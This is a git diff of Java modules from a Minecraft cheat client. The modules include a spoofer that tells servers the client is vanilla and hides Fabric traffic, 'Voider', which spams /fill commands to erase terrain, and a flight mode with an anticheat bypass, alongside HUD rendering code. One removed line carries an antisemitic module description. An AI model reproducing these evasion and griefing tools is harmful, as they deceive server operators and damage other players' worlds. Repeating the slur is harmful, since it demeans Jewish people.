* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.module.impl.exploit;
|
||||
|
||||
import io.netty.buffer.Unpooled;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
import me.x150.sipprivate.helper.event.EventType;
|
||||
import me.x150.sipprivate.helper.event.Events;
|
||||
import me.x150.sipprivate.helper.event.events.PacketEvent;
|
||||
import me.x150.sipprivate.mixin.ICustomPayloadC2SPacketAccessor;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.network.PacketByteBuf;
|
||||
import net.minecraft.network.packet.c2s.play.CustomPayloadC2SPacket;
|
||||
|
||||
import java.nio.charset.StandardCharsets;
|
||||
|
||||
public class VanillaSpoof extends Module {
|
||||
|
||||
// final BooleanValue spoofOther = (BooleanValue) config.create("Spoof other", false).description("Tell the server you're using a non-existent client brand");
|
||||
// final MultiValue spoofOtherEntry = (MultiValue) config.create("Other:", "Atomic", "Femboyhook", "WURST", "Astolfo", "FartHook", "Atomic").description("why my tip sticky");
|
||||
|
||||
public VanillaSpoof() {
|
||||
super("VanillaSpoof", "Tells the server you're on vanilla", ModuleType.EXPLOIT);
|
||||
Events.registerEventHandler(EventType.PACKET_SEND, event1 -> {
|
||||
if (!this.isEnabled()) {
|
||||
return;
|
||||
}
|
||||
PacketEvent event = (PacketEvent) event1;
|
||||
if (event.getPacket() instanceof CustomPayloadC2SPacket packet) {
|
||||
ICustomPayloadC2SPacketAccessor accessor = (ICustomPayloadC2SPacketAccessor) packet;
|
||||
if (accessor.getChannel().equals(CustomPayloadC2SPacket.BRAND)) {
|
||||
accessor.setData(new PacketByteBuf(Unpooled.buffer()).writeString("vanilla"));
|
||||
} else if (accessor.getData().toString(StandardCharsets.UTF_8).toLowerCase().contains("fabric")) {
|
||||
event.setCancelled(true);
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void enable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void disable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override public void onHudRender() {
|
||||
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,86 @@
|
|||
package me.x150.sipprivate.feature.module.impl.exploit;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.config.IntSetting;
|
||||
import me.x150.sipprivate.feature.gui.notifications.Notification;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
import me.x150.sipprivate.helper.render.Renderer;
|
||||
import me.x150.sipprivate.util.Utils;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.util.math.BlockPos;
|
||||
import net.minecraft.util.math.Vec3d;
|
||||
|
||||
import java.awt.Color;
|
||||
import java.util.concurrent.atomic.AtomicBoolean;
|
||||
|
||||
public class Voider extends Module {
|
||||
IntSetting radius = this.config.create(new IntSetting.Builder(100)
|
||||
.name("Radius")
|
||||
.description("How much to erase on X and Z")
|
||||
.min(20)
|
||||
.max(500)
|
||||
.get());
|
||||
IntSetting delay = this.config.create(new IntSetting.Builder(30)
|
||||
.name("Delay")
|
||||
.description("How much delay to use while erasing")
|
||||
.min(0)
|
||||
.max(1000)
|
||||
.get());
|
||||
Thread runner;
|
||||
AtomicBoolean cancel = new AtomicBoolean(false);
|
||||
public Voider() {
|
||||
super("Voider", "Transforms a radius around you to void", ModuleType.EXPLOIT);
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
|
||||
}
|
||||
Vec3d startPos = null;
|
||||
Vec3d latest = null;
|
||||
void run() {
|
||||
for(int ox = -radius.getValue();ox<radius.getValue();ox+=4) {
|
||||
for(int oz = -radius.getValue();oz<radius.getValue();oz+=4) {
|
||||
if (cancel.get()) return;
|
||||
Vec3d root = startPos.add(ox,0,oz);
|
||||
BlockPos pp = new BlockPos(root);
|
||||
latest = Vec3d.of(pp);
|
||||
String chat = String.format("/fill %d %d %d %d %d %d minecraft:air", pp.getX()-2, SipoverPrivate.client.world.getBottomY(), pp.getZ()-2, pp.getX()+2, SipoverPrivate.client.world.getTopY()-1, pp.getZ()+2);
|
||||
SipoverPrivate.client.player.sendChatMessage(chat);
|
||||
Utils.sleep(delay.getValue());
|
||||
}
|
||||
}
|
||||
setEnabled(false);
|
||||
}
|
||||
|
||||
@Override public void enable() {
|
||||
startPos = SipoverPrivate.client.player.getPos();
|
||||
cancel.set(false);
|
||||
runner = new Thread(this::run);
|
||||
runner.start();
|
||||
}
|
||||
|
||||
@Override public void disable() {
|
||||
Notification.create(6000, "Voider","Waiting for cleanup...");
|
||||
cancel.set(true);
|
||||
}
|
||||
|
||||
@Override public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override public void onWorldRender(MatrixStack matrices) {
|
||||
if (latest != null) {
|
||||
Renderer.R3D.renderFilled(new Vec3d(latest.x-2,SipoverPrivate.client.world.getBottomY(),latest.z-2),new Vec3d(5,0.001,5),Utils.getCurrentRGB(),matrices);
|
||||
Renderer.R3D.line(new Vec3d(latest.x+.5,SipoverPrivate.client.world.getBottomY(),latest.z+.5),new Vec3d(latest.x+.5,SipoverPrivate.client.world.getTopY(),latest.z+.5), Color.RED,matrices);
|
||||
}
|
||||
}
|
||||
|
||||
@Override public void onHudRender() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void onFastTick() {
|
||||
super.onFastTick();
|
||||
}
|
||||
}
|
|
@ -21,15 +21,15 @@ import java.util.Random;
|
|||
|
||||
public class Flight extends Module {
|
||||
|
||||
final EnumSetting<FlightMode> mode = this.config.create(new EnumSetting<FlightMode>(FlightMode.Static, "Mode", "How you fly"));
|
||||
final BooleanSetting bypassVanillaAc = this.config.create(new BooleanSetting.Builder(true).name("Toasts").description("Whether to show enabled / disabled toasts").get());
|
||||
final DoubleSetting speed = this.config.create(new DoubleSetting.Builder(-1).name("Speed").description("The keybind to toggle the module with").min(0.1).max(10).defaultValue(2D).precision(1).get());
|
||||
final EnumSetting<FlightMode> mode = this.config.create(new EnumSetting.Builder<>(FlightMode.Static).name("Mode").description("How you fly").get());
|
||||
final BooleanSetting bypassVanillaAc = this.config.create(new BooleanSetting.Builder(true).name("Bypass vanilla AC").description("Whether to bypass the vanilla anticheat").get());
|
||||
final DoubleSetting speed = this.config.create(new DoubleSetting.Builder(1).name("Speed").description("How fast you fly").min(0).max(10).get());
|
||||
|
||||
int bypassTimer = 0;
|
||||
boolean flewBefore = false;
|
||||
|
||||
public Flight() {
|
||||
super("Flight", "i think this explains itself", ModuleType.MOVEMENT);
|
||||
super("Flight", "Allows you to fly without having permission to", ModuleType.MOVEMENT);
|
||||
Events.registerEventHandler(EventType.PACKET_SEND, event -> {
|
||||
if (!this.isEnabled()) {
|
||||
return;
|
||||
|
@ -136,10 +136,7 @@ public class Flight extends Module {
|
|||
|
||||
}
|
||||
|
||||
enum FlightMode { // = (MultiValue) this.config.create("Mode", "Static", "Vanilla", "Static", "3D", "Jetpack")
|
||||
Vanilla,
|
||||
Static,
|
||||
ThreeD,
|
||||
Jetpack;
|
||||
public enum FlightMode { // = (MultiValue) this.config.create("Mode", "Static", "Vanilla", "Static", "3D", "Jetpack")
|
||||
Vanilla, Static, ThreeD, Jetpack
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,6 +1,5 @@
|
|||
package me.x150.sipprivate.feature.module.impl.movement;
|
||||
|
||||
import jdk.jfr.Category;
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
|
@ -9,7 +8,7 @@ import net.minecraft.client.util.math.MatrixStack;
|
|||
public class Sprint extends Module {
|
||||
|
||||
public Sprint() {
|
||||
super("Sprint", "togglesprint for jewish people", ModuleType.MOVEMENT);
|
||||
super("Sprint", "Sprints all the time, even when the shift key isn't held", ModuleType.MOVEMENT);
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
|
|
|
@ -1,10 +1,9 @@
|
|||
package me.x150.sipprivate.feature.module.impl.render;
|
||||
|
||||
import jdk.jfr.Category;
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
import me.x150.sipprivate.helper.util.Transitions;
|
||||
import me.x150.sipprivate.util.Transitions;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.util.math.MathHelper;
|
||||
|
||||
|
@ -13,7 +12,7 @@ public class Fullbright extends Module {
|
|||
double og;
|
||||
|
||||
public Fullbright() {
|
||||
super("Fullbright", "shine bright like a diamond", ModuleType.RENDER);
|
||||
super("Fullbright", "Allows you to see in complete darkness", ModuleType.RENDER);
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
|
@ -25,11 +24,11 @@ public class Fullbright extends Module {
|
|||
}
|
||||
|
||||
@Override public void disable() {
|
||||
SipoverPrivate.client.options.gamma = og;
|
||||
SipoverPrivate.client.options.gamma = og;
|
||||
}
|
||||
|
||||
@Override public void onFastTick() {
|
||||
SipoverPrivate.client.options.gamma = Transitions.transition(SipoverPrivate.client.options.gamma, 10, 300);
|
||||
SipoverPrivate.client.options.gamma = Transitions.transition(SipoverPrivate.client.options.gamma, 10, 300);
|
||||
}
|
||||
|
||||
@Override public String getContext() {
|
||||
|
|
|
@ -0,0 +1,220 @@
|
|||
package me.x150.sipprivate.feature.module.impl.render;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.config.BooleanSetting;
|
||||
import me.x150.sipprivate.feature.gui.hud.HudRenderer;
|
||||
import me.x150.sipprivate.feature.gui.notifications.Notification;
|
||||
import me.x150.sipprivate.feature.gui.notifications.NotificationRenderer;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleRegistry;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
import me.x150.sipprivate.helper.event.EventType;
|
||||
import me.x150.sipprivate.helper.event.Events;
|
||||
import me.x150.sipprivate.helper.event.events.PacketEvent;
|
||||
import me.x150.sipprivate.helper.font.FontRenderers;
|
||||
import me.x150.sipprivate.helper.render.Renderer;
|
||||
import me.x150.sipprivate.util.Transitions;
|
||||
import me.x150.sipprivate.util.Utils;
|
||||
import net.minecraft.client.network.PlayerListEntry;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.network.packet.s2c.play.WorldTimeUpdateS2CPacket;
|
||||
import net.minecraft.util.math.BlockPos;
|
||||
import net.minecraft.util.math.Vec3d;
|
||||
import org.apache.commons.lang3.ArrayUtils;
|
||||
|
||||
import java.awt.Color;
|
||||
import java.text.DateFormat;
|
||||
import java.text.SimpleDateFormat;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Comparator;
|
||||
import java.util.Date;
|
||||
import java.util.List;
|
||||
|
||||
public class Hud extends Module {
|
||||
public static double currentTps = 0;
|
||||
final DateFormat df = new SimpleDateFormat("h:mm aa");
|
||||
final DateFormat minSec = new SimpleDateFormat("mm:ss");
|
||||
BooleanSetting fps = this.config.create(new BooleanSetting.Builder(true).name("FPS").description("Whether to show FPS").get());
|
||||
BooleanSetting tps = this.config.create(new BooleanSetting.Builder(true).name("TPS").description("Whether to show TPS").get());
|
||||
BooleanSetting coords = this.config.create(new BooleanSetting.Builder(true).name("Coordinates").description("Whether to show current coordinates").get());
|
||||
BooleanSetting time = this.config.create(new BooleanSetting.Builder(true).name("Time").description("Whether to show your current IRL time").get());
|
||||
BooleanSetting ping = this.config.create(new BooleanSetting.Builder(true).name("Ping").description("Whether to show current ping").get());
|
||||
BooleanSetting bps = this.config.create(new BooleanSetting.Builder(true).name("BPS").description("Whether to show speed (Blocks per second)").get());
|
||||
BooleanSetting modules = this.config.create(new BooleanSetting.Builder(true).name("Array list").description("Whether to show currently enabled modules").get());
|
||||
long lastTimePacketReceived;
|
||||
double rNoConnectionPosY = -10d;
|
||||
Notification serverNotResponding = null;
|
||||
|
||||
public Hud() {
|
||||
super("Hud", "Shows fancy stuff on screen", ModuleType.RENDER);
|
||||
lastTimePacketReceived = System.currentTimeMillis();
|
||||
|
||||
Events.registerEventHandler(EventType.PACKET_RECEIVE, event1 -> {
|
||||
PacketEvent event = (PacketEvent) event1;
|
||||
if (event.getPacket() instanceof WorldTimeUpdateS2CPacket) {
|
||||
currentTps = Utils.Math.roundToDecimal(calcTps(System.currentTimeMillis() - lastTimePacketReceived), 2);
|
||||
lastTimePacketReceived = System.currentTimeMillis();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
double calcTps(double n) {
|
||||
return (20.0 / Math.max((n - 1000.0) / (500.0), 1.0));
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void enable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void disable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override public void onHudRender() {
|
||||
if (SipoverPrivate.client.getNetworkHandler() == null) {
|
||||
return;
|
||||
}
|
||||
if (SipoverPrivate.client.player == null) {
|
||||
return;
|
||||
}
|
||||
MatrixStack ms = Renderer.R3D.getEmptyMatrixStack();
|
||||
if (!shouldNoConnectionDropDown()) {
|
||||
if (serverNotResponding != null) {
|
||||
serverNotResponding.duration = 0;
|
||||
}
|
||||
} else {
|
||||
if (serverNotResponding == null) {
|
||||
serverNotResponding = Notification.create(-1, "", true, "Server not responding! " + minSec.format(System.currentTimeMillis() - lastTimePacketReceived));
|
||||
}
|
||||
serverNotResponding.contents = new String[]{"Server not responding! " + minSec.format(System.currentTimeMillis() - lastTimePacketReceived)};
|
||||
}
|
||||
if (!NotificationRenderer.topBarNotifications.contains(serverNotResponding)) {
|
||||
serverNotResponding = null;
|
||||
}
|
||||
//SipoverPrivate.fontRenderer.drawCenteredString(ms, "Server not responding! " + minSec.format(System.currentTimeMillis() - lastTimePacketReceived), SipoverPrivate.client.getWindow().getScaledWidth() / 2d, rNoConnectionPosY, 0xFF7777);
|
||||
|
||||
List<HudEntry> entries = new ArrayList<>();
|
||||
if (coords.getValue()) {
|
||||
BlockPos bp = SipoverPrivate.client.player.getBlockPos();
|
||||
entries.add(new HudEntry("XYZ", bp.getX() + " " + bp.getY() + " " + bp.getZ(), false, false));
|
||||
}
|
||||
if (fps.getValue()) {
|
||||
entries.add(new HudEntry("FPS", SipoverPrivate.client.fpsDebugString.split(" ")[0], false, false));
|
||||
}
|
||||
if (tps.getValue()) {
|
||||
entries.add(new HudEntry("TPS", (currentTps == -1 ? "Calculating" : currentTps) + "", false, false));
|
||||
}
|
||||
if (ping.getValue()) {
|
||||
PlayerListEntry e = SipoverPrivate.client.getNetworkHandler().getPlayerListEntry(SipoverPrivate.client.player.getUuid());
|
||||
entries.add(new HudEntry("Ping", (e == null ? "?" : e.getLatency()) + " ms", false, false));
|
||||
}
|
||||
if (bps.getValue()) {
|
||||
double px = SipoverPrivate.client.player.prevX;
|
||||
double py = SipoverPrivate.client.player.prevY;
|
||||
double pz = SipoverPrivate.client.player.prevZ;
|
||||
Vec3d v = new Vec3d(px, py, pz);
|
||||
double dist = v.distanceTo(SipoverPrivate.client.player.getPos());
|
||||
entries.add(new HudEntry("Speed", Utils.Math.roundToDecimal(dist * 20, 2) + "", false, false));
|
||||
}
|
||||
if (time.getValue()) {
|
||||
entries.add(new HudEntry("", df.format(new Date()), true, true));
|
||||
}
|
||||
//entries.sort(Comparator.comparingInt(entry -> SipoverPrivate.client.textRenderer.getWidth((entry.t.isEmpty()?"":entry.t+" ")+entry.v)));
|
||||
int yOffset = (int) (23 / 2 + (FontRenderers.getNormal().getMarginHeight()));
|
||||
int changedYOffset = -2;
|
||||
int xOffset = 2;
|
||||
for (HudEntry entry : entries) {
|
||||
String t = (entry.t.isEmpty() ? "" : entry.t + " ") + entry.v;
|
||||
float width = FontRenderers.getNormal().getStringWidth(t);
|
||||
float offsetToUse = SipoverPrivate.client.getWindow().getScaledHeight() - (entry.renderTaskBar ? ((23 / 2f + FontRenderers.getNormal().getFontHeight() / 2f)) : yOffset);
|
||||
float xL = (entry.renderTaskBar && entry.renderRTaskBar) ? (SipoverPrivate.client.getWindow().getScaledWidth() - 5 - width) : xOffset;
|
||||
if (xL == xOffset) {
|
||||
xOffset += width + FontRenderers.getNormal().getStringWidth(" ");
|
||||
}
|
||||
changedYOffset++;
|
||||
if (!entry.renderTaskBar && changedYOffset == 0) {
|
||||
yOffset -= FontRenderers.getNormal().getMarginHeight();
|
||||
xOffset = 2;
|
||||
}
|
||||
//SipoverPrivate.client.textRenderer.draw(ms,t,xL,offsetToUse,0xFFFFFF);
|
||||
if (!entry.t.isEmpty()) {
|
||||
Color rgb = Utils.getCurrentRGB();
|
||||
FontRenderers.getNormal().drawString(ms, entry.t, xL, offsetToUse, Utils.getCurrentRGB().getRGB());
|
||||
//SipoverPrivate.client.textRenderer.draw(ms, entry.t, xL, offsetToUse, Client.getCurrentRGB().getRGB());
|
||||
FontRenderers.getNormal().drawString(ms, entry.v, xL + FontRenderers.getNormal().getStringWidth(entry.t + " "), offsetToUse, rgb.darker().getRGB());
|
||||
//SipoverPrivate.client.textRenderer.draw(ms, entry.v, xL + SipoverPrivate.client.textRenderer.getWidth(entry.t + " "), offsetToUse, rgb.darker().getRGB());
|
||||
} else {
|
||||
FontRenderers.getNormal().drawString(ms, t, xL, offsetToUse, Utils.getCurrentRGB().getRGB());
|
||||
//SipoverPrivate.client.textRenderer.draw(ms, t, xL, offsetToUse, Client.getCurrentRGB().getRGB());
|
||||
}
|
||||
}
|
||||
|
||||
if (modules.getValue()) {
|
||||
int moduleOffset = 0;
|
||||
float rgbIncrementer = 0.03f;
|
||||
float currentRgbSeed = (System.currentTimeMillis() % 4500) / 4500f;
|
||||
// jesus fuck
|
||||
Module[] v = ModuleRegistry.getModules().stream().filter(Module::isEnabled).sorted(Comparator.comparingDouble(value -> FontRenderers.getNormal()
|
||||
.getStringWidth(value.getName() + (value.getContext() != null ? " " + value.getContext() : "")))) // i mean it works?
|
||||
.toArray(Module[]::new);
|
||||
ArrayUtils.reverse(v);
|
||||
float maxWidth = 0;
|
||||
for (Module module : v) {
|
||||
currentRgbSeed %= 1f;
|
||||
int r = Color.HSBtoRGB(currentRgbSeed, 0.7f, 1f);
|
||||
currentRgbSeed += rgbIncrementer;
|
||||
String w = module.getName() + (module.getContext() == null ? "" : " " + module.getContext());
|
||||
float totalWidth = FontRenderers.getNormal().getStringWidth(w);
|
||||
maxWidth = Math.max(maxWidth, totalWidth);
|
||||
Color c = new Color(r);
|
||||
Color inv = new Color(255 - c.getRed(), 255 - c.getGreen(), 255 - c.getBlue());
|
||||
MatrixStack stack = Renderer.R3D.getEmptyMatrixStack();
|
||||
FontRenderers.getNormal().drawString(stack, module.getName(), SipoverPrivate.client.getWindow().getScaledWidth() - 4 - totalWidth, moduleOffset + .5, r);
|
||||
Renderer.R2D.fill(stack, c, SipoverPrivate.client.getWindow().getScaledWidth() - 2, moduleOffset, SipoverPrivate.client.getWindow()
|
||||
.getScaledWidth(), moduleOffset + FontRenderers.getNormal().getMarginHeight() + 1);
|
||||
if (module.getContext() != null) {
|
||||
FontRenderers.getNormal().drawString(stack, module.getContext(), SipoverPrivate.client.getWindow().getScaledWidth() - 4 - totalWidth + FontRenderers.getNormal()
|
||||
.getStringWidth(module.getName() + " "), moduleOffset + .5, inv.getRGB());
|
||||
}
|
||||
moduleOffset += FontRenderers.getNormal().getMarginHeight() + 1;
|
||||
}
|
||||
}
|
||||
HudRenderer.getInstance().render();
|
||||
}
|
||||
|
||||
boolean shouldNoConnectionDropDown() {
|
||||
return System.currentTimeMillis() - lastTimePacketReceived > 2000;
|
||||
}
|
||||
|
||||
@Override public void onFastTick() {
|
||||
rNoConnectionPosY = Transitions.transition(rNoConnectionPosY, shouldNoConnectionDropDown() ? 10 : -10, 10);
|
||||
HudRenderer.getInstance().fastTick();
|
||||
}
|
||||
|
||||
static class HudEntry {
|
||||
|
||||
public final String t;
|
||||
public final String v;
|
||||
public final boolean renderTaskBar;
|
||||
public final boolean renderRTaskBar;
|
||||
|
||||
public HudEntry(String t, String v, boolean renderInTaskBar, boolean renderRightTaskBar) {
|
||||
this.t = t;
|
||||
this.v = v;
|
||||
this.renderRTaskBar = renderRightTaskBar;
|
||||
this.renderTaskBar = renderInTaskBar;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,207 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.module.impl.render;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.config.BooleanSetting;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
import me.x150.sipprivate.helper.AttackManager;
|
||||
import me.x150.sipprivate.helper.font.FontRenderers;
|
||||
import me.x150.sipprivate.helper.render.Renderer;
|
||||
import me.x150.sipprivate.util.Transitions;
|
||||
import me.x150.sipprivate.util.Utils;
|
||||
import net.minecraft.client.network.PlayerListEntry;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.entity.Entity;
|
||||
import net.minecraft.entity.EntityType;
|
||||
import net.minecraft.entity.LivingEntity;
|
||||
import net.minecraft.entity.player.PlayerEntity;
|
||||
import net.minecraft.text.Text;
|
||||
import net.minecraft.util.hit.HitResult;
|
||||
import net.minecraft.util.math.MathHelper;
|
||||
|
||||
import java.awt.Color;
|
||||
import java.util.Comparator;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.stream.Collectors;
|
||||
import java.util.stream.StreamSupport;
|
||||
|
||||
public class TargetHud extends Module {
|
||||
|
||||
public static final int modalWidth = 160;
|
||||
public static final int modalHeight = 70;
|
||||
BooleanSetting renderPing = this.config.create(new BooleanSetting.Builder(true).name("Render ping").description("Shows the ping of the enemy").get());
|
||||
BooleanSetting renderHP = this.config.create(new BooleanSetting.Builder(true).name("Render health").description("Shows the HP of the enemy").get());
|
||||
BooleanSetting renderMaxHP = this.config.create(new BooleanSetting.Builder(true).name("Render max health").description("Shows the max HP of the enemy").get());
|
||||
BooleanSetting renderDistance = this.config.create(new BooleanSetting.Builder(true).name("Render distance").description("Shows the enemy's distance to you").get());
|
||||
BooleanSetting renderLook = this.config.create(new BooleanSetting.Builder(true).name("Render look").description("Shows if the enemy is looking near you").get());
|
||||
BooleanSetting renderLoseWin = this.config.create(new BooleanSetting.Builder(true).name("Render lose / win").description("Shows if you're currently losing or winning against the enemy").get());
|
||||
double wX = 0;
|
||||
double renderWX1 = 0;
|
||||
Entity e = null;
|
||||
Entity re = null;
|
||||
double trackedHp = 0;
|
||||
double trackedMaxHp = 0;
|
||||
|
||||
public TargetHud() {
|
||||
super("TargetHud", "the bruh", ModuleType.RENDER);
|
||||
}
|
||||
|
||||
boolean isApplicable(Entity check) {
|
||||
if (check == SipoverPrivate.client.player) {
|
||||
return false;
|
||||
}
|
||||
if (check.distanceTo(SipoverPrivate.client.player) > 64) {
|
||||
return false;
|
||||
}
|
||||
int l = check.getEntityName().length();
|
||||
if (l < 3 || l > 16) {
|
||||
return false;
|
||||
}
|
||||
boolean isValidEntityName = Utils.Players.isPlayerNameValid(check.getEntityName());
|
||||
if (!isValidEntityName) {
|
||||
return false;
|
||||
}
|
||||
if (check == SipoverPrivate.client.player) {
|
||||
return false;
|
||||
}
|
||||
return check.getType() == EntityType.PLAYER && check instanceof PlayerEntity;
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
if (AttackManager.getLastAttackInTimeRange() != null) {
|
||||
e = AttackManager.getLastAttackInTimeRange();
|
||||
return;
|
||||
}
|
||||
List<Entity> entitiesQueue = StreamSupport.stream(Objects.requireNonNull(SipoverPrivate.client.world).getEntities().spliterator(), false).filter(this::isApplicable)
|
||||
.sorted(Comparator.comparingDouble(value -> value.getPos().distanceTo(Objects.requireNonNull(SipoverPrivate.client.player).getPos()))).collect(Collectors.toList());
|
||||
if (entitiesQueue.size() > 0) {
|
||||
e = entitiesQueue.get(0);
|
||||
} else {
|
||||
e = null;
|
||||
}
|
||||
if (e instanceof LivingEntity ev) {
|
||||
if (ev.isDead()) {
|
||||
e = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override public void enable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void disable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void onFastTick() {
|
||||
renderWX1 = Transitions.transition(renderWX1, wX, 10);
|
||||
if (re instanceof LivingEntity e) {
|
||||
trackedHp = Transitions.transition(trackedHp, e.getHealth(), 15, 0.002);
|
||||
trackedMaxHp = Transitions.transition(trackedMaxHp, e.getMaxHealth(), 15, 0.002);
|
||||
}
|
||||
}
|
||||
|
||||
@Override public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override public void onWorldRender(MatrixStack matrices) {
|
||||
}
|
||||
|
||||
@Override public void onHudRender() {
|
||||
|
||||
}
|
||||
|
||||
public void draw(MatrixStack stack) {
|
||||
if (!this.isEnabled()) {
|
||||
return;
|
||||
}
|
||||
if (e != null) {
|
||||
wX = 100;
|
||||
re = e;
|
||||
} else {
|
||||
wX = 0;
|
||||
}
|
||||
if (re != null) {
|
||||
if (!(re instanceof PlayerEntity entity)) {
|
||||
return;
|
||||
}
|
||||
|
||||
float yOffset = 5;
|
||||
double renderWX = renderWX1 / 100d;
|
||||
stack.push();
|
||||
double rwxI = Math.abs(1 - renderWX);
|
||||
double x = rwxI * (modalWidth / 2d);
|
||||
double y = rwxI * (modalHeight / 2d);
|
||||
stack.translate(x, y, 0);
|
||||
stack.scale((float) renderWX, (float) renderWX, 1);
|
||||
Renderer.R2D.fill(stack, new Color(37, 50, 56, 200), 0, 0, modalWidth, modalHeight);
|
||||
FontRenderers.getNormal().drawString(stack, entity.getEntityName(), 40, yOffset, 0xFFFFFF);
|
||||
yOffset += FontRenderers.getNormal().getFontHeight();
|
||||
PlayerListEntry ple = Objects.requireNonNull(SipoverPrivate.client.getNetworkHandler()).getPlayerListEntry(entity.getUuid());
|
||||
if (ple != null && renderPing.getValue()) {
|
||||
int ping = ple.getLatency();
|
||||
String v = ping + " ms";
|
||||
float ww = FontRenderers.getNormal().getStringWidth(v);
|
||||
FontRenderers.getNormal().drawString(stack, v, modalWidth - ww - 5, 5, 0xFFFFFF);
|
||||
}
|
||||
float mhealth = (float) trackedMaxHp;
|
||||
float health = (float) trackedHp;
|
||||
float remainder = health - mhealth;
|
||||
if (remainder < 0) {
|
||||
remainder = 0;
|
||||
}
|
||||
float hPer = health / mhealth;
|
||||
//hPer = MathHelper.clamp(hPer,0,1);
|
||||
double renderToX = modalWidth * hPer;
|
||||
renderToX = MathHelper.clamp(renderToX, 0, modalWidth);
|
||||
Color GREEN = new Color(100, 255, 20);
|
||||
Color RED = new Color(255, 50, 20);
|
||||
Color MID_END = Renderer.Util.lerp(GREEN, RED, hPer);
|
||||
Renderer.R2D.fillGradientH(stack, RED, MID_END, 0, modalHeight - 2, renderToX, modalHeight);
|
||||
if (renderHP.getValue()) {
|
||||
FontRenderers.getNormal().drawString(stack, Utils.Math.roundToDecimal(trackedHp, 2) + " HP", 40, yOffset, MID_END.getRGB());
|
||||
yOffset += FontRenderers.getNormal().getFontHeight();
|
||||
}
|
||||
if (renderDistance.getValue()) {
|
||||
FontRenderers.getNormal()
|
||||
.drawString(stack, Utils.Math.roundToDecimal(entity.getPos().distanceTo(Objects.requireNonNull(SipoverPrivate.client.player).getPos()), 1) + " D", 40, yOffset, 0xFFFFFF);
|
||||
yOffset += FontRenderers.getNormal().getFontHeight();
|
||||
}
|
||||
if (renderMaxHP.getValue()) {
|
||||
String t = Utils.Math.roundToDecimal(mhealth, 2) + "";
|
||||
if (remainder > 0) {
|
||||
t += "§6 + " + Utils.Math.roundToDecimal(remainder, 1);
|
||||
}
|
||||
float mhP = FontRenderers.getNormal().getStringWidth(t);
|
||||
FontRenderers.getNormal().drawString(stack, t, (modalWidth - mhP - 3), (modalHeight - 3 - FontRenderers.getNormal().getFontHeight()), 0xFFFFFF);
|
||||
}
|
||||
|
||||
HitResult bhr = entity.raycast(entity.getPos().distanceTo(Objects.requireNonNull(SipoverPrivate.client.player).getPos()), 0f, false);
|
||||
if (bhr.getPos().distanceTo(SipoverPrivate.client.player.getPos().add(0, 1, 0)) < 1.5 && renderLook.getValue()) {
|
||||
FontRenderers.getNormal().drawString(stack, "Looks at you", 40, yOffset, 0xFFFFFF);
|
||||
yOffset += FontRenderers.getNormal().getFontHeight();
|
||||
}
|
||||
|
||||
if (AttackManager.getLastAttackInTimeRange() != null && renderLoseWin.getValue()) {
|
||||
String st = entity.getHealth() > SipoverPrivate.client.player.getHealth() ? "Losing" : entity.getHealth() == SipoverPrivate.client.player.getHealth() ? "Stalemate" : "Winning";
|
||||
FontRenderers.getNormal().drawString(stack, st, 40, yOffset, 0xFFFFFF);
|
||||
}
|
||||
|
||||
Text cname = re.getCustomName();
|
||||
